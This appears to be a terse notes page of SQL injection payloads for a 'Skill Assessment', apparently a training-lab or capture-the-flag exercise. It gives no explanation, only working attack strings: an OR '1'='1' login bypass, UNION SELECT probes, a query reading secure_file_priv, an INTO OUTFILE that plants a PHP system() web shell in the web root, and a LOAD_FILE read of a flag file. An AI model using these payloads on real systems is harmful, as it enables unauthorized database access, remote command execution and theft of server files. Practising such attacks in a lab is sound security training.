Skill Assessment

admin' OR '1'='1'-- 
abc' union select 1,2,3,4,5-- 
cn'
UNION
SELECT 1,variable_name,variable_value,4,5
FROM information_schema.global_variables
WHERE variable_name="secure_file_priv"-- 

Since URL is http://{ip}/dashboard/dashboard.php

cn'
union
select "",'<?php system("find / -name *flag*"); ?>',"","",""
into outfile '/var/www/html/dashboard/ls.php'-- 
cn' UNION SELECT 1,LOAD_FILE("/flag_cae1dadcd174.txt"),3,4,5-- 

Last updated